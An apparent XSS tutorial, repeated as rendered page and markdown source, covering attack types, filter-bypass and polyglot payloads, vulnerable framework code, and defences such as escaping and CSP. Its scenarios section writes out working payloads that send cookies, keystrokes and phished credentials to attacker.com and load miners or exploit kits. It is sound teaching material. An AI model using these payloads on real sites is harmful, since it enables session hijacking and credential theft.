Documentation

# Cross-Site Scripting (XSS) Attacks

CRITICAL SEVERITY OWASP TOP 10 #3 WEB ATTACK

Cross-Site Scripting Attack Illustration
Cross-Site Scripting Attack Illustration

Imagine you're reading comments on your favorite website, but hidden in one of those comments is an invisible computer program that steals your password. That's Cross-Site Scripting (XSS) in a nutshell.

XSS is like a digital ventriloquist attack - a hacker makes a trusted website "say" malicious things to your browser, and because your browser trusts the website, it follows those malicious instructions.

Simple Example: Think of a website as a restaurant menu. Normally, the menu shows "Today's Special: Pizza $10". But what if someone could sneak into the kitchen and change it to "Today's Special: Give me your wallet"? XSS lets hackers change what websites "say" to your browser.


# What is Cross-Site Scripting? (The Simple Explanation)

Every website is like a conversation between your browser and the website's server. Your browser asks "What should I display?" and the website responds with instructions (HTML and JavaScript code).

The Problem: What if a hacker can inject their own instructions into that conversation?

What happens then:

When a hacker's code runs on your browser through XSS, they can:

  • Steal your login session - Take over your account without knowing your password (like stealing your key while you're still inside)
  • :icon-keyboard: Record everything you type - Including passwords, credit cards, personal messages
  • Change what you see - Replace the real login page with a fake one that sends your password to the hacker
  • Redirect you to malicious sites - Send you to fake websites that look real but steal your information
  • Read sensitive information - See everything on your screen: emails, bank balance, private messages
  • Perform actions as you - Post messages, send money, change your password - all without you knowing

# Why XSS is So Dangerous (The Trust Problem)

Here's the scary part: Your browser trusts the website you're visiting.

When you're on Facebook.com, your browser trusts that any code running is from Facebook. But with XSS, a hacker can inject their code into Facebook.com, and your browser will think "This code is from Facebook, so it's safe to run!"

:icon-phone: Real-World Analogy: It's like receiving a phone call that shows up as "Your Bank" on caller ID, so you trust it and give them your account number - but it was actually a scammer who faked the caller ID. XSS is like that, but for websites.

# Basic XSS Example (How It Actually Works)

Let's see a simple example with a search box on a shopping website:

// The website takes what you type in the search box and shows it back to you
$search = $_GET['q'];  // Get what user searched for
echo "You searched for: " . $search;  // Display it on the page
  • You search for: laptops
  • Website shows: "You searched for: laptops"
  • Everything works fine!
  • Hacker searches for: <script>alert('You've been hacked!')</script>
  • Website shows: "You searched for: " and then RUNS THE HACKER'S CODE
  • A popup appears saying "You've been hacked!"

The URL the Hacker Sends:

http://shop.com/search?q=<script>stealPassword()</script>

When you click this link, the website runs the hacker's stealPassword() code in YOUR browser, and you wouldn't even know it's happening!


# Types of XSS Attacks (3 Main Types)

Understanding the three types of XSS is like understanding three different ways someone could trick you:

# 1. Reflected XSS (The Malicious Link Trick)

MEDIUM RISK REQUIRES VICTIM TO CLICK

Simple Explanation: The hacker sends you a link that looks like it goes to a trusted website (like Amazon or Facebook), but the link contains hidden malicious code. When you click it, the website "reflects" that code back to your browser, which then executes it.

Real-World Analogy: Imagine someone hands you a note that says "Show this to the bank teller." When the bank teller reads it out loud, they unknowingly say "Give all your money to this person." The bank teller (website) is just repeating what's on the note (URL), but it causes damage.

Why It's Called "Reflected": The attack bounces off the website like light reflecting off a mirror. The malicious code isn't stored on the website - it's in the link itself.

# How Reflected XSS Works (Step-by-Step)

http://trustedsite.com/search?q=<script>stealCookies()</script>

Via email, text message, or social media:

  • "Check out this amazing deal! [Click here]"
  • The link looks like it goes to a trusted website, so you click it

The website displays:

"You searched for: <script>stealCookies()</script>"

Your browser sees the script tag and executes it - stealing your login cookies and sending them to the hacker!

# Example Attack

[Flask - Vulnerable]
# Flask application
from flask import Flask, request

@app.route('/search')
def search():
    query = request.args.get('q', '')
    return f'''
        <html>
            <body>
                <h1>Search Results</h1>
                <p>You searched for: {query}</p>
            </body>
        </html>
    '''
[Node.js - Vulnerable]
// Node.js + Express
app.get('/login', (req, res) => {
    const error = req.query.error;
    res.send(`
        <html>
            <body>
                <form method="POST" action="/login">
                    <div class="error">${error}</div>
                    <input name="username" />
                    <input name="password" type="password" />
                    <button>Login</button>
                </form>
            </body>
        </html>
    `);
});

Attack URL:

http://example.com/search?q=<script>
  // Steal session cookie
  var img = new Image();
  img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>

# 2. Stored XSS (The Poison Comment/Profile Attack)

CRITICAL RISK AFFECTS ALL VISITORS PERSISTENT

Simple Explanation: This is the most dangerous type! The hacker posts malicious code (in a comment, profile bio, forum post, etc.) and the website stores it permanently in its database. Now, every single person who views that comment gets attacked automatically - like a landmine waiting for anyone who walks by.

Real-World Analogy: Imagine a public bulletin board where people post notes. Someone posts a note that says "If you're reading this, send $100 to this address." Everyone who reads the bulletin board follows the instruction. That's Stored XSS - the malicious instruction stays there, affecting everyone who sees it.

Why It's Called "Stored": Unlike Reflected XSS (which only affects people who click a specific link), Stored XSS is saved in the website's database and attacks everyone who visits that page.

# How Stored XSS Works (The Devastating Attack)

"Great article! <script>stealEveryone'sPasswords()</script>"

The website saves this comment in its database without checking if it's safe

Automatically runs the hacker's code in their browser

Hundreds or thousands of people get their passwords stolen, accounts hijacked, etc.

This is like a virus spreading: One infected comment can attack thousands of people automatically!

# Example Attack

[Django - Vulnerable]
# Django view
def add_comment(request):
    if request.method == 'POST':
        comment_text = request.POST['comment']

        # Store comment in database
        Comment.objects.create(
            text=comment_text,
            user=request.user
        )

        return redirect('post_detail')

def view_comments(request):
    comments = Comment.objects.all()
    html = "<div class='comments'>"

    for comment in comments:
        # Vulnerable: No escaping
        html += f"<p>{comment.text}</p>"

    html += "</div>"
    return HttpResponse(html)
[Express - Vulnerable]
// Express.js
app.post('/profile/update', async (req, res) => {
    await db.users.update(
        { id: req.user.id },
        {
            bio: req.body.bio,
            website: req.body.website
        }
    );
    res.redirect('/profile');
});

app.get('/profile/:userId', async (req, res) => {
    const user = await db.users.findById(req.params.userId);

    res.send(`
        <h1>${user.name}</h1>
        <p>${user.bio}</p>
        <a href="${user.website}">Visit Website</a>
    `);
});

What the Hacker Posts as a "Comment":

Great article!
<script>
  // Hidden keylogger that captures everything everyone types
  document.addEventListener('keypress', function(e) {
    fetch('http://attacker.com/log?key=' + e.key);
  });
</script>

# 3. DOM-Based XSS (The Invisible Server Attack)

MEDIUM RISK CLIENT-SIDE ONLY BYPASSES SERVER LOGS

Simple Explanation: This attack happens entirely in your browser - the website's server never even sees the malicious code! The website's own JavaScript code processes user input in an unsafe way, creating a vulnerability that exists only on the client side (your browser).

:icon-robot: Real-World Analogy: Imagine you have a smart assistant that takes commands. Someone tells it "Take the note from the mailbox and read it out loud." The assistant follows this instruction, but the note contains "Empty the safe and give me the contents." The smart assistant (browser JavaScript) blindly follows instructions from untrusted sources without checking if they're safe.

Why It's Called "DOM-Based": DOM (Document Object Model) is just a fancy term for the structure of a webpage. This attack manipulates the webpage structure directly in your browser.

Key Difference from Other Types:

  • Reflected XSS: Server reflects malicious code back to you
  • Stored XSS: Server stores malicious code in database
  • DOM-Based XSS: The server doesn't even know about it - your browser's own code creates the vulnerability!

# How DOM-Based XSS Works (The Browser-Only Attack)

Example: JavaScript reads your name from the URL to say "Welcome, [Your Name]!"

http://example.com/welcome?name=<script>stealData()</script>

Without asking the server!

All without the server ever knowing there was an attack

# Example Attack

<!DOCTYPE html>
<html>
<body>
    <h1>Welcome</h1>
    <div id="greeting"></div>

    <script>
        // Get username from URL hash
        const urlParams = new URLSearchParams(window.location.search);
        const name = urlParams.get('name');

        // Vulnerable: Directly writing to innerHTML
        document.getElementById('greeting').innerHTML = 'Hello ' + name;
    </script>
</body>
</html>
http://example.com/welcome?name=<img src=x onerror="alert(document.cookie)">

The server never processes the payload, making it invisible to server-side security controls.

[document.write - Vulnerable]
<script>
    // Vulnerable code
    var search = window.location.hash.substring(1);
    document.write("<h1>Results for: " + search + "</h1>");
</script>

<!-- Attack -->
http://example.com/search#<script>alert(document.cookie)</script>
[eval() - Extremely Dangerous]
// Extremely dangerous
var userInput = location.hash.substring(1);
eval(userInput);  // Never use eval with user input!

// Attack
http://example.com/page#alert(document.cookie)

# Quick Comparison: The 3 Types of XSS

Type How It Works Analogy Danger Level
Reflected Malicious link tricks you, website reflects it back Note to bank teller that they read out loud Medium - Only affects people who click the link
Stored Hacker posts malicious code, saved forever in database Poisoned bulletin board note everyone reads HIGH - Automatically attacks everyone who visits
DOM-Based Your browser's own code creates vulnerability Smart assistant blindly following instructions Medium - Hard to detect, happens only in browser

# Advanced XSS Techniques

# Bypassing Filters

Many applications attempt to filter XSS by blocking certain keywords or patterns. Attackers use various encoding and obfuscation techniques to bypass these filters.

<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>
&#60;script&#62;alert(1)&#60;/script&#62;
&lt;script&gt;alert(1)&lt;/script&gt;
%3Cscript%3Ealert(1)%3C/script%3E
%253Cscript%253Ealert(1)%253C/script%253E
\u003cscript\u003ealert(1)\u003c/script\u003e
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script>

# Using Alternative Tags and Events

When <script> is blocked:

[Image Tags]
<img src=x onerror=alert(1)>
<img/src/onerror=alert(1)>
[SVG Tags]
<svg onload=alert(1)>
<svg/onload=alert(1)>
[Input Events]
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
[Media Tags]
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<marquee onstart=alert(1)>
[Other Tags]
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
---
icon: code-square
label: Cross-Site Scripting (XSS)
order: 99
tags: [web-attacks, security, xss, javascript]
---

# Cross-Site Scripting (XSS) Attacks

[!badge variant="danger" text="CRITICAL SEVERITY"] [!badge variant="warning" text="OWASP TOP 10 #3"] [!badge variant="info" text="WEB ATTACK"]

![Cross-Site Scripting Attack Illustration](/static/diagrams/2.svg)

Imagine you're reading comments on your favorite website, but hidden in one of those comments is an invisible computer program that steals your password. That's Cross-Site Scripting (XSS) in a nutshell.

XSS is like a digital ventriloquist attack - a hacker makes a trusted website "say" malicious things to your browser, and because your browser trusts the website, it follows those malicious instructions.

:icon-shield-x: **Simple Example:** Think of a website as a restaurant menu. Normally, the menu shows "Today's Special: Pizza $10". But what if someone could sneak into the kitchen and change it to "Today's Special: Give me your wallet"? XSS lets hackers change what websites "say" to your browser.

!!!danger Critical Web Vulnerability
:icon-alert: XSS consistently ranks in the [OWASP Top 10](https://owasp.org/www-project-top-ten/) most critical web security risks. In 2024, XSS vulnerabilities were found in major platforms including Facebook, Twitter, YouTube, and thousands of other websites. Even tech giants aren't immune!
!!!

---

## What is Cross-Site Scripting? (The Simple Explanation)

Every website is like a conversation between your browser and the website's server. Your browser asks "What should I display?" and the website responds with instructions (HTML and JavaScript code).

:icon-question: **The Problem:** What if a hacker can inject their own instructions into that conversation?

**What happens then:**

When a hacker's code runs on your browser through XSS, they can:

- :icon-key: **Steal your login session** - Take over your account without knowing your password (like stealing your key while you're still inside)
- :icon-keyboard: **Record everything you type** - Including passwords, credit cards, personal messages
- :icon-pencil: **Change what you see** - Replace the real login page with a fake one that sends your password to the hacker
- :icon-location: **Redirect you to malicious sites** - Send you to fake websites that look real but steal your information
- :icon-eye: **Read sensitive information** - See everything on your screen: emails, bank balance, private messages
- :icon-person: **Perform actions as you** - Post messages, send money, change your password - all without you knowing

### Why XSS is So Dangerous (The Trust Problem)

Here's the scary part: **Your browser trusts the website you're visiting.**

When you're on Facebook.com, your browser trusts that any code running is from Facebook. But with XSS, a hacker can inject their code into Facebook.com, and your browser will think "This code is from Facebook, so it's safe to run!"

:icon-phone: **Real-World Analogy:** It's like receiving a phone call that shows up as "Your Bank" on caller ID, so you trust it and give them your account number - but it was actually a scammer who faked the caller ID. XSS is like that, but for websites.

### Basic XSS Example (How It Actually Works)

Let's see a simple example with a search box on a shopping website:

+++ :icon-code: What the Website Does (Vulnerable Code)

```php
// The website takes what you type in the search box and shows it back to you
$search = $_GET['q'];  // Get what user searched for
echo "You searched for: " . $search;  // Display it on the page

+++

  • You search for: laptops
  • Website shows: "You searched for: laptops"
  • Everything works fine!
  • Hacker searches for: <script>alert('You've been hacked!')</script>
  • Website shows: "You searched for: " and then RUNS THE HACKER'S CODE
  • A popup appears saying "You've been hacked!"

The URL the Hacker Sends:

http://shop.com/search?q=<script>stealPassword()</script>

When you click this link, the website runs the hacker's stealPassword() code in YOUR browser, and you wouldn't even know it's happening!


# Types of XSS Attacks (3 Main Types)

Understanding the three types of XSS is like understanding three different ways someone could trick you:

# 1. Reflected XSS (The Malicious Link Trick)

MEDIUM RISK REQUIRES VICTIM TO CLICK

Simple Explanation: The hacker sends you a link that looks like it goes to a trusted website (like Amazon or Facebook), but the link contains hidden malicious code. When you click it, the website "reflects" that code back to your browser, which then executes it.

Real-World Analogy: Imagine someone hands you a note that says "Show this to the bank teller." When the bank teller reads it out loud, they unknowingly say "Give all your money to this person." The bank teller (website) is just repeating what's on the note (URL), but it causes damage.

Why It's Called "Reflected": The attack bounces off the website like light reflecting off a mirror. The malicious code isn't stored on the website - it's in the link itself.

# How Reflected XSS Works (Step-by-Step)

http://trustedsite.com/search?q=<script>stealCookies()</script>

Via email, text message, or social media:

  • "Check out this amazing deal! [Click here]"
  • The link looks like it goes to a trusted website, so you click it

The website displays:

"You searched for: <script>stealCookies()</script>"

Your browser sees the script tag and executes it - stealing your login cookies and sending them to the hacker!

# Example Attack

[Flask - Vulnerable]
# Flask application
from flask import Flask, request

@app.route('/search')
def search():
    query = request.args.get('q', '')
    return f'''
        <html>
            <body>
                <h1>Search Results</h1>
                <p>You searched for: {query}</p>
            </body>
        </html>
    '''
[Node.js - Vulnerable]
// Node.js + Express
app.get('/login', (req, res) => {
    const error = req.query.error;
    res.send(`
        <html>
            <body>
                <form method="POST" action="/login">
                    <div class="error">${error}</div>
                    <input name="username" />
                    <input name="password" type="password" />
                    <button>Login</button>
                </form>
            </body>
        </html>
    `);
});

Attack URL:

http://example.com/search?q=<script>
  // Steal session cookie
  var img = new Image();
  img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>

# 2. Stored XSS (The Poison Comment/Profile Attack)

CRITICAL RISK AFFECTS ALL VISITORS PERSISTENT

Simple Explanation: This is the most dangerous type! The hacker posts malicious code (in a comment, profile bio, forum post, etc.) and the website stores it permanently in its database. Now, every single person who views that comment gets attacked automatically - like a landmine waiting for anyone who walks by.

Real-World Analogy: Imagine a public bulletin board where people post notes. Someone posts a note that says "If you're reading this, send $100 to this address." Everyone who reads the bulletin board follows the instruction. That's Stored XSS - the malicious instruction stays there, affecting everyone who sees it.

Why It's Called "Stored": Unlike Reflected XSS (which only affects people who click a specific link), Stored XSS is saved in the website's database and attacks everyone who visits that page.

# How Stored XSS Works (The Devastating Attack)

"Great article! <script>stealEveryone'sPasswords()</script>"

The website saves this comment in its database without checking if it's safe

Automatically runs the hacker's code in their browser

Hundreds or thousands of people get their passwords stolen, accounts hijacked, etc.

This is like a virus spreading: One infected comment can attack thousands of people automatically!

# Example Attack

[Django - Vulnerable]
# Django view
def add_comment(request):
    if request.method == 'POST':
        comment_text = request.POST['comment']

        # Store comment in database
        Comment.objects.create(
            text=comment_text,
            user=request.user
        )

        return redirect('post_detail')

def view_comments(request):
    comments = Comment.objects.all()
    html = "<div class='comments'>"

    for comment in comments:
        # Vulnerable: No escaping
        html += f"<p>{comment.text}</p>"

    html += "</div>"
    return HttpResponse(html)
[Express - Vulnerable]
// Express.js
app.post('/profile/update', async (req, res) => {
    await db.users.update(
        { id: req.user.id },
        {
            bio: req.body.bio,
            website: req.body.website
        }
    );
    res.redirect('/profile');
});

app.get('/profile/:userId', async (req, res) => {
    const user = await db.users.findById(req.params.userId);

    res.send(`
        <h1>${user.name}</h1>
        <p>${user.bio}</p>
        <a href="${user.website}">Visit Website</a>
    `);
});

What the Hacker Posts as a "Comment":

Great article!
<script>
  // Hidden keylogger that captures everything everyone types
  document.addEventListener('keypress', function(e) {
    fetch('http://attacker.com/log?key=' + e.key);
  });
</script>

# 3. DOM-Based XSS (The Invisible Server Attack)

MEDIUM RISK CLIENT-SIDE ONLY BYPASSES SERVER LOGS

Simple Explanation: This attack happens entirely in your browser - the website's server never even sees the malicious code! The website's own JavaScript code processes user input in an unsafe way, creating a vulnerability that exists only on the client side (your browser).

:icon-robot: Real-World Analogy: Imagine you have a smart assistant that takes commands. Someone tells it "Take the note from the mailbox and read it out loud." The assistant follows this instruction, but the note contains "Empty the safe and give me the contents." The smart assistant (browser JavaScript) blindly follows instructions from untrusted sources without checking if they're safe.

Why It's Called "DOM-Based": DOM (Document Object Model) is just a fancy term for the structure of a webpage. This attack manipulates the webpage structure directly in your browser.

Key Difference from Other Types:

  • Reflected XSS: Server reflects malicious code back to you
  • Stored XSS: Server stores malicious code in database
  • DOM-Based XSS: The server doesn't even know about it - your browser's own code creates the vulnerability!

# How DOM-Based XSS Works (The Browser-Only Attack)

Example: JavaScript reads your name from the URL to say "Welcome, [Your Name]!"

http://example.com/welcome?name=<script>stealData()</script>

Without asking the server!

All without the server ever knowing there was an attack

# Example Attack

<!DOCTYPE html>
<html>
<body>
    <h1>Welcome</h1>
    <div id="greeting"></div>

    <script>
        // Get username from URL hash
        const urlParams = new URLSearchParams(window.location.search);
        const name = urlParams.get('name');

        // Vulnerable: Directly writing to innerHTML
        document.getElementById('greeting').innerHTML = 'Hello ' + name;
    </script>
</body>
</html>
http://example.com/welcome?name=<img src=x onerror="alert(document.cookie)">

The server never processes the payload, making it invisible to server-side security controls.

[document.write - Vulnerable]
<script>
    // Vulnerable code
    var search = window.location.hash.substring(1);
    document.write("<h1>Results for: " + search + "</h1>");
</script>

<!-- Attack -->
http://example.com/search#<script>alert(document.cookie)</script>
[eval() - Extremely Dangerous]
// Extremely dangerous
var userInput = location.hash.substring(1);
eval(userInput);  // Never use eval with user input!

// Attack
http://example.com/page#alert(document.cookie)

# Quick Comparison: The 3 Types of XSS

Type How It Works Analogy Danger Level
Reflected Malicious link tricks you, website reflects it back Note to bank teller that they read out loud Medium - Only affects people who click the link
Stored Hacker posts malicious code, saved forever in database Poisoned bulletin board note everyone reads HIGH - Automatically attacks everyone who visits
DOM-Based Your browser's own code creates vulnerability Smart assistant blindly following instructions Medium - Hard to detect, happens only in browser

# Advanced XSS Techniques

# Bypassing Filters

Many applications attempt to filter XSS by blocking certain keywords or patterns. Attackers use various encoding and obfuscation techniques to bypass these filters.

<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>
&#60;script&#62;alert(1)&#60;/script&#62;
&lt;script&gt;alert(1)&lt;/script&gt;
%3Cscript%3Ealert(1)%3C/script%3E
%253Cscript%253Ealert(1)%253C/script%253E
\u003cscript\u003ealert(1)\u003c/script\u003e
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script>

# Using Alternative Tags and Events

When <script> is blocked:

[Image Tags]
<img src=x onerror=alert(1)>
<img/src/onerror=alert(1)>
[SVG Tags]
<svg onload=alert(1)>
<svg/onload=alert(1)>
[Input Events]
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
[Media Tags]
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<marquee onstart=alert(1)>
[Other Tags]
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<details open ontoggle=alert(1)>

# Filter Bypass with Comments

<scr<!--comment-->ipt>alert(1)</scr<!---->ipt>

# Using Template Literals (JavaScript)

`${alert(1)}`

# Polyglot XSS Payloads

Payloads that work in multiple contexts:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

# XSS in Different Contexts

<!-- Vulnerable -->
<div>Hello {{username}}</div>

<!-- Attack -->
<script>alert(1)</script>
<!-- Vulnerable -->
<input value="{{userInput}}">

<!-- Attack -->
" onfocus="alert(1)" autofocus="

<!-- Result -->
<input value="" onfocus="alert(1)" autofocus="">
<script>
    var name = '{{userName}}';
</script>

<!-- Attack -->
'; alert(1); //

<!-- Result -->
<script>
    var name = ''; alert(1); //';
</script>
<!-- Vulnerable -->
<a href="{{userUrl}}">Click here</a>

<!-- Attack -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
<style>
    body {
        background: {{userColor}};
    }
</style>

<!-- Attack -->
red; } body { background: url('javascript:alert(1)');

# Real-World Attack Scenarios

# Scenario 1: Cookie Theft and Session Hijacking

HIGH IMPACT

Objective: Steal user's session cookie to hijack their account

Payload:

<script>
  // Create an image to send cookie to attacker's server
  var img = new Image();
  img.src = 'http://attacker.com/steal.php?cookie=' + encodeURIComponent(document.cookie);
</script>

Attacker's Server (steal.php):

<?php
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$timestamp = date('Y-m-d H:i:s');

// Log stolen cookies
file_put_contents('stolen.txt', "$timestamp | $ip | $cookie\n", FILE_APPEND);
?>

Using the Stolen Cookie:

// Attacker opens browser console on the target site
document.cookie = "session=stolen_session_id";
location.reload();
// Now logged in as the victim

# Scenario 2: Phishing Attack via XSS

CREDENTIAL THEFT

Objective: Inject a fake login form to steal credentials

<script>
  // Hide the real content
  document.body.innerHTML = '';

  // Inject fake login form
  document.body.innerHTML = `
    <div style="max-width: 400px; margin: 100px auto; padding: 20px; border: 1px solid #ccc;">
      <h2>Session Expired</h2>
      <p>Please log in again to continue</p>
      <form id="phishingForm">
        <input type="text" name="username" placeholder="Username" style="width: 100%; margin: 10px 0; padding: 10px;" />
        <input type="password" name="password" placeholder="Password" style="width: 100%; margin: 10px 0; padding: 10px;" />
        <button type="submit" style="width: 100%; padding: 10px; background: #007bff; color: white; border: none;">Log In</button>
      </form>
    </div>
  `;

  // Capture submitted credentials
  document.getElementById('phishingForm').addEventListener('submit', function(e) {
    e.preventDefault();

    const username = this.username.value;
    const password = this.password.value;

    // Send to attacker's server
    fetch('http://attacker.com/harvest.php', {
      method: 'POST',
      body: JSON.stringify({ username, password })
    });

    // Redirect to real login to avoid suspicion
    window.location = '/login?error=Please try again';
  });
</script>

# Scenario 3: Keylogger

DATA EXFILTRATION

:icon-keyboard: Objective: Capture everything the user types

<script>
  var keys = '';
  var sendInterval = 5000; // Send every 5 seconds

  document.addEventListener('keypress', function(e) {
    keys += e.key;
  });

  setInterval(function() {
    if (keys.length > 0) {
      // Send captured keystrokes
      fetch('http://attacker.com/keylog.php?data=' + encodeURIComponent(keys));
      keys = '';
    }
  }, sendInterval);
</script>

# Scenario 4: Cryptocurrency Miner

RESOURCE ABUSE

Objective: Use victim's browser to mine cryptocurrency

<script src="https://attacker.com/cryptominer.js"></script>
<script>
  // Initialize miner with attacker's wallet
  var miner = new CryptoMiner('attacker_wallet_address');
  miner.start();

  // Hide miner activity
  miner.setThrottle(0.2); // Use 80% of CPU
</script>

# Scenario 5: Auto-Following/Auto-Liking on Social Media

SOCIAL ENGINEERING

Objective: Make victims automatically follow an account or like posts

<script>
  // Find and click the follow button
  fetch('/api/follow', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': document.querySelector('[name=csrf-token]').content
    },
    body: JSON.stringify({
      user_id: 'attacker_user_id'
    })
  });

  // Like recent posts
  fetch('/api/posts/12345/like', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': document.querySelector('[name=csrf-token]').content
    }
  });
</script>

# Scenario 6: Browser Exploitation

CRITICAL

Objective: Exploit browser vulnerabilities to achieve code execution

<script>
  // Check browser version
  var ua = navigator.userAgent;

  // Redirect to exploit kit based on browser
  if (ua.indexOf('Chrome/95') !== -1) {
    window.location = 'http://attacker.com/exploits/chrome95.html';
  } else if (ua.indexOf('Firefox/94') !== -1) {
    window.location = 'http://attacker.com/exploits/firefox94.html';
  }
</script>

# Framework-Specific XSS

# React XSS Vulnerabilities

React automatically escapes values, but vulnerabilities still exist:

[Vulnerable - dangerouslySetInnerHTML]
// Vulnerable
function UserBio({ bio }) {
  return <div dangerouslySetInnerHTML={{__html: bio}} />;
}

// Attack: User sets bio to
<img src=x onerror="alert(document.cookie)">
[Vulnerable - href JavaScript URLs]
// Vulnerable
function UserLink({ url }) {
  return <a href={url}>Visit</a>;
}

// Attack: url = "javascript:alert(1)"
[Secure Implementation]
// Safe
function UserBio({ bio }) {
  return <div>{bio}</div>; // React auto-escapes
}

// Safe URL validation
function UserLink({ url }) {
  const safeUrl = url.startsWith('http://') || url.startsWith('https://')
    ? url
    : '#';
  return <a href={safeUrl}>Visit</a>;
}

# Vue.js XSS Vulnerabilities

[Vulnerable - v-html]
<!-- Vulnerable -->
<div v-html="userContent"></div>

<!-- Attack -->
userContent = '<img src=x onerror="alert(1)">'
[Secure - Auto-escaping]
<!-- Safe: Vue auto-escapes -->
<div>{{ userContent }}</div>

<!-- Or use DOMPurify -->
<div v-html="sanitize(userContent)"></div>
[DOMPurify Integration]
import DOMPurify from 'dompurify';

export default {
  methods: {
    sanitize(dirty) {
      return DOMPurify.sanitize(dirty);
    }
  }
}

# Angular XSS Vulnerabilities

[Vulnerable - Bypassing Sanitization]
// Vulnerable
import { DomSanitizer } from '@angular/platform-browser';

constructor(private sanitizer: DomSanitizer) {}

getHtml(value: string) {
  return this.sanitizer.bypassSecurityTrustHtml(value);
}
[Template Usage]
<div [innerHTML]="getHtml(userInput)"></div>
[Secure - Default Sanitization]
<!-- Safe -->
<div>{{ userInput }}</div>

# How to Protect Against XSS (Prevention Guide)

Now that we understand how dangerous XSS is, let's learn how to protect against it. Don't worry - you don't need to be a programmer to understand these concepts!

# 1. Output Encoding/Escaping (The Translation Method)

PRIMARY DEFENSE

Simple Explanation: Instead of displaying user input directly, the website "translates" special characters into safe versions that can't execute as code.

Real-World Analogy: Imagine you're publishing a book of user quotes. If someone submits "I love this! ", you don't print it as an instruction - you print it as text by escaping it: "I love this! <destroy everything>". The angle brackets are turned into harmless text.

How It Works: When a hacker types <script>alert('XSS')</script>, the website converts it to:

&lt;script&gt;alert('XSS')&lt;/script&gt;

Your browser displays this as text (showing the literal characters) instead of running it as code!

Example Transformations:

Hacker Types Website Stores Browser Displays
< &lt; < (as text, not code)
> &gt; > (as text, not code)
" &quot; " (as text, not code)
<script> &lt;script&gt; <script> (safe text!)

# HTML Context Encoding

[Python]
import html

# Python
safe_output = html.escape(user_input)
[JavaScript]
// JavaScript
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    "/": '&#x2F;',
  };
  return text.replace(/[&<>"'/]/g, char => map[char]);
}
[PHP]
// PHP
<?php echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); ?>
[Java]
// Java (using OWASP Java Encoder)
import org.owasp.encoder.Encode;

String safe = Encode.forHtml(userInput);

# JavaScript Context Encoding

function escapeJavaScript(text) {
  return text
    .replace(/\\/g, '\\\\')
    .replace(/'/g, "\\'")
    .replace(/"/g, '\\"')
    .replace(/\n/g, '\\n')
    .replace(/\r/g, '\\r')
    .replace(/\t/g, '\\t');
}

// Usage
var name = '{{escapeJavaScript(userName)}}';

# URL Context Encoding

[JavaScript]
// JavaScript
const safeUrl = encodeURIComponent(userInput);
[Python]
# Python
from urllib.parse import quote
safe_url = quote(user_input)

# CSS Context

// Avoid user input in CSS entirely
// If necessary, use strict whitelist validation
function isValidColor(color) {
  return /^#[0-9A-Fa-f]{6}$/.test(color);
}

# 2. Content Security Policy (CSP) - The Bodyguard

CRITICAL DEFENSE

Simple Explanation: CSP is like a bouncer at a nightclub for your web browser. It tells your browser "Only run scripts from these approved sources. Block everything else."

Real-World Analogy: Imagine you tell your email app "Only open attachments from people in my contacts list. Delete any attachment from strangers." CSP does the same thing but for scripts on websites.

How It Works: The website tells your browser: "Only execute JavaScript that I (the website owner) directly provide. Don't run any injected scripts."

Even if a hacker manages to inject <script>stealData()</script>, your browser will refuse to run it!

Simple Example:

Website says: "Only run scripts from myself (example.com), nowhere else."
Hacker injects: <script src="http://evil.com/steal.js"></script>
Browser blocks it: "Nope! CSP says I can only run scripts from example.com."

# Basic CSP Protection

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Translation: "Only load content from my own domain, don't load any plugins, and definitely don't run random scripts!"

# Advanced CSP with Nonces (Random Passwords for Scripts)

Content-Security-Policy: script-src 'nonce-{random}';
<!-- HTML -->
<script nonce="random_value_here">
  // This script will execute
</script>

<script>
  // This script will be blocked
</script>
const crypto = require('crypto');

app.use((req, res, next) => {
  // Generate random nonce
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;

  // Set CSP header
  res.setHeader(
    'Content-Security-Policy',
    `script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none';`
  );

  next();
});

app.get('/', (req, res) => {
  res.send(`
    <html>
      <head>
        <script nonce="${res.locals.nonce}">
          console.log('This script executes');
        </script>
      </head>
      <body>
        <h1>Protected by CSP</h1>
      </body>
    </html>
  `);
});

# CSP with Hash

Content-Security-Policy: script-src 'sha256-{hash_of_script}';
// Generate hash for inline script
const crypto = require('crypto');
const scriptContent = "console.log('hello');";
const hash = crypto.createHash('sha256').update(scriptContent).digest('base64');

// Use in CSP
res.setHeader('Content-Security-Policy', `script-src 'sha256-${hash}'`);

# Comprehensive CSP Configuration

Content-Security-Policy:
  default-src 'none';
  script-src 'self' 'nonce-{random}';
  style-src 'self' 'nonce-{random}';
  img-src 'self' https://trusted-cdn.com;
  font-src 'self';
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

# 3. Input Validation

DEFENSE IN DEPTH

Whitelist Approach:

[Username Validation]
function validateUsername(username) {
  // Only allow alphanumeric and underscore
  const pattern = /^[a-zA-Z0-9_]{3,20}$/;
  return pattern.test(username);
}
[Email Validation]
function validateEmail(email) {
